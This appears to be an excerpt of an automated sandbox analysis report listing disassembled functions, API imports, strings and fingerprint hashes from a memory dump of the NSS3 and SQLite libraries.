Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C60
PR_ExplodeTime.NSS3(00000000,6CE51C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C94

Strings

gfff, xrefs: 6CEA6D66
gfff, xrefs: 6CEA6CFD
gfff, xrefs: 6CEA6CF5
gfff, xrefs: 6CEA6D9C
gfff, xrefs: 6CEA6D30

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 4f132c6fac2031c5df431df3db1386cad0a2d39d08206d0316178c4206d18f1b
Instruction ID: 61a6e16ab44259ae0d5f09a99504153596908daf6c4d2cc3f3f95a9a31ebbc7a
Opcode Fuzzy Hash: 4f132c6fac2031c5df431df3db1386cad0a2d39d08206d0316178c4206d18f1b
Instruction Fuzzy Hash: DB514B72B015494FC708CDADDC526DAB7EA9BA5310F48C23AE441DF781D638E907C751

Function 6CF20F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CF21027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF21353

Strings

zeroblob(%d), xrefs: 6CF21223
$, xrefs: 6CF212A0
NULL, xrefs: 6CF2119E
%lld, xrefs: 6CF2114B
'%.*q', xrefs: 6CF21217, 6CF21292
%02x, xrefs: 6CF212F6
-- , xrefs: 6CF20FF5

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 250e005a28ed34b2a4486acf07abd181729414045119b695802923b7501c91f9
Instruction ID: c44fe1d973f415f5cc5bc02b7b40eaa024c7da7cf70a36dc92272e41624eb357
Opcode Fuzzy Hash: 250e005a28ed34b2a4486acf07abd181729414045119b695802923b7501c91f9
Instruction Fuzzy Hash: 3BE1C071A083809FD710CF94C480A6BBBF5AF85348F15892DF98587B61D77AEC45CB46

Function 6CF28FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF28FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF29118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF2915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF29209

Strings

3333, xrefs: 6CF2925E
UUUU, xrefs: 6CF29255

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 6a2ce4fd62753a4eaf7c9b6fc591404954b2f88386e878c534cf8bbb6e7f1d4a
Instruction ID: a53b5eae5a3c014a2453a63ce69136fae9c83ba6ba4c86c25b9040c910f746a4
Opcode Fuzzy Hash: 6a2ce4fd62753a4eaf7c9b6fc591404954b2f88386e878c534cf8bbb6e7f1d4a
Instruction Fuzzy Hash: BFA19172E001199BDB04CBA9CC91B9EB7B5BF48324F094139D915A7791EB3AED01CBE1

Function 6CDE0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CDE103E
EnterCriticalSection.KERNEL32(?), ref: 6CDE1139
LeaveCriticalSection.KERNEL32(?), ref: 6CDE1190
sqlite3_free.NSS3(00000000), ref: 6CDE1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CDE126E
sqlite3_free.NSS3(?), ref: 6CDE127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CDE1267
winAccess, xrefs: 6CDE129B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: adcda9881fff8dfcc5f134416fed87c26f65433067b2e0c5e8d631f4c6dc2b07
Instruction ID: 3d6730a5d28ef8fc9085c22270669683472ee0166d4240a13e46bcaf1b5a39b0
Opcode Fuzzy Hash: adcda9881fff8dfcc5f134416fed87c26f65433067b2e0c5e8d631f4c6dc2b07
Instruction Fuzzy Hash: 0C715932F05201DBEB449F65EC95B6F77B5FF8A364F14422AE82187AA1DB30D804C792

Function 6CDEAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?), ref: 6CDEB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB0A2
CloseHandle.KERNEL32(?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?,?,?), ref: 6CDEB100
sqlite3_free.NSS3(?,?,00000002,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31,?,?,?,?,?,?,?), ref: 6CDEB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CF0CF46,?,6CDDCDBD,?,6CF0BF31), ref: 6CDEB12D

Part of subcall function 6CDD9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CDEC6FD,?,?,?,?,6CE3F965,00000000), ref: 6CDD9F0E
Part of subcall function 6CDD9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CE3F965,00000000), ref: 6CDD9F5D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 075e1b0656cbc6bb3f7c9a5791404c036f85ba2ec440469872315acd00a52af4
Instruction ID: 3c6a2e48616d37d52c03b8499f1b3bcd56ead2f1bb507518e1602e4408a5de1d
Opcode Fuzzy Hash: 075e1b0656cbc6bb3f7c9a5791404c036f85ba2ec440469872315acd00a52af4
Instruction Fuzzy Hash: 19919CB0A04306CFDB14CF65D884B6ABBF1BF49308B15462DE45A97AA0EB31F854CB55

Function 6CEBBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEBBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CEBBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEBBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CEBBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CEBBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CEBBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CEBBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CEBBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CEBBE1E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 5392c736ba6902ef68a80cdde62d39b06d1a7baf0cc775c87f7ccdbf5adc54c7
Instruction ID: d1c4a05365ce5bebdca318dcd5bc456dfec734d83745c0f98880007dd7ff427a
Opcode Fuzzy Hash: 5392c736ba6902ef68a80cdde62d39b06d1a7baf0cc775c87f7ccdbf5adc54c7
Instruction Fuzzy Hash: 7221C3B6E0428D57FB0046969F82BAB32749BD174DF180128F916FE741E734E41886A6

Function 6CF68D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFB14E4,6CF1CC70), ref: 6CF68D47
PR_GetCurrentThread.NSS3 ref: 6CF68D98

Part of subcall function 6CE40F00: PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B
Part of subcall function 6CE40F00: PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CF68E7B
htons.WSOCK32(?), ref: 6CF68EDB
PR_GetCurrentThread.NSS3 ref: 6CF68F99
PR_GetCurrentThread.NSS3 ref: 6CF6910A

Strings

%u.%u.%u.%u, xrefs: 6CF68E74

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 02a5e41b5664282af55d290f63711198211fc03a269c8f4fd842f071cbfc445b
Instruction ID: 52aab40ff11648b59b3b98b1bab3d12e7c68ef6635f138cab78def9e959ef2e1
Opcode Fuzzy Hash: 02a5e41b5664282af55d290f63711198211fc03a269c8f4fd842f071cbfc445b
Instruction Fuzzy Hash: 04029B329052518FDB18CF1AC4687A6BBB2EF43314F2A825ED8915FF91CB35DA45C790

Function 6CDEEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CDEFAC8
there is already an index named %s, xrefs: 6CDEF9D7
sqlite_temp_master, xrefs: 6CDEF0A6, 6CDEF2D5
authorizer malfunction, xrefs: 6CDEF95C, 6CDEF9BF, 6CDEFA5E, 6CDEFA8B
temporary table name must be unqualified, xrefs: 6CDEF734
table, xrefs: 6CDEF05C, 6CDEFABC, 6CDEFAC7
not authorized, xrefs: 6CDEF957, 6CDEF9BA
view, xrefs: 6CDEF061, 6CDEF071, 6CDEFAB7
sqlite_master, xrefs: 6CDEF0AB, 6CDEF2DA, 6CDEF757, 6CDEF93E

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 49921d1d8e68e5f4776704f23c2dc9565a8864a2deed8debcbe8e447627e915d
Instruction ID: 104d9cd9feab2ca294bce02720db28cc838c367f5d004b2ba373b230f161255a
Opcode Fuzzy Hash: 49921d1d8e68e5f4776704f23c2dc9565a8864a2deed8debcbe8e447627e915d
Instruction Fuzzy Hash: 15729070E04205CFDB14CF68D480BAABBF2BF4D308F1581AED8599BB62D775A845CB90

Function 6CF09C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CDDC52B), ref: 6CF09D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF0A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF0A114

Strings

%s at line %d of [%.10s], xrefs: 6CF0A02E, 6CF0A10D
database corruption, xrefs: 6CF0A029, 6CF0A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF0A01F, 6CF0A0E4, 6CF0A0FE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 23a6ffd791ff30219814a90a4105c85b0a979b5bf20e251fb092ac2e75977b36
Instruction ID: 4fe51fb8c138c70abceeebefdffc15bb5d1646ed4dc85628d55da7dd35920cc2
Opcode Fuzzy Hash: 23a6ffd791ff30219814a90a4105c85b0a979b5bf20e251fb092ac2e75977b36
Instruction Fuzzy Hash: 7C22AE717093419FC704CF29C4A062BB7E1BFCAB44F148A2DE8DA97A51EB31D945DB42

Function 6CF29D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CDE8637,?,?), ref: 6CF29E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CDE8637), ref: 6CF29ED6

Strings

%s at line %d of [%.10s], xrefs: 6CF29ECF
database corruption, xrefs: 6CF29ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF29EC0

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 0d1e9daeea3eaf9cfc0b2a56a9aefda78d5188bc166b1dc4e77edeca2ed42a38
Instruction ID: ae80b38f9adada36dc30d315bfda92b2a8c32ae16b06ba335cb1722ce2335fca
Opcode Fuzzy Hash: 0d1e9daeea3eaf9cfc0b2a56a9aefda78d5188bc166b1dc4e77edeca2ed42a38
Instruction Fuzzy Hash: DF81B471B016058FCB14CFAAC880ADEB3F6EF48304B158569E815AB751EB35EE45CB60

Function 6CF37F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CF381BC

Strings

out of memory, xrefs: 6CF3835B
BINARY, xrefs: 6CF38126

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 06ac6ec46a5461b40d4ea10c9da8e66a4a785e5b2babf1f0f397b250a2886dd1
Instruction ID: 4679f05722b0c1c6110eab8d16f5947fc207c6d96717bc19203295326f9ae6e1
Opcode Fuzzy Hash: 06ac6ec46a5461b40d4ea10c9da8e66a4a785e5b2babf1f0f397b250a2886dd1
Instruction Fuzzy Hash: 16529071E05228EFDB04CF95C89079EBBB2BF48318F25915AD819EB751D734A846CB90

Function 6CEB9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEB9ED6

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CEB9EE4

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB9F38

Part of subcall function 6CEBD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CEB9F0B), ref: 6CEBD03B
Part of subcall function 6CEBD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CEBD04E
Part of subcall function 6CEBD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CEBD07B
Part of subcall function 6CEBD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CEBD08E
Part of subcall function 6CEBD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEB9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CEB9F59

Part of subcall function 6CEB9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CEB9C5B), ref: 6CEB9D82
Part of subcall function 6CEB9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CEB9C5B), ref: 6CEB9DA9
Part of subcall function 6CEB9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CEB9C5B), ref: 6CEB9DCE
Part of subcall function 6CEB9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CEB9C5B), ref: 6CEB9E43

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: ad681ab61a434d2a4b0d9feb227e6abd6553e7e1e6ed84d1ad4b57279f7050fb
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: AA112EB5F042025BF7109BA59D01BBB7374AFA536CF340138E509A7740FB71E5158291

Function 6CF6CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF6D086
PR_Malloc.NSS3(00000001), ref: 6CF6D0B9
PR_Free.NSS3(?), ref: 6CF6D138

Strings

>, xrefs: 6CF6CF5B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
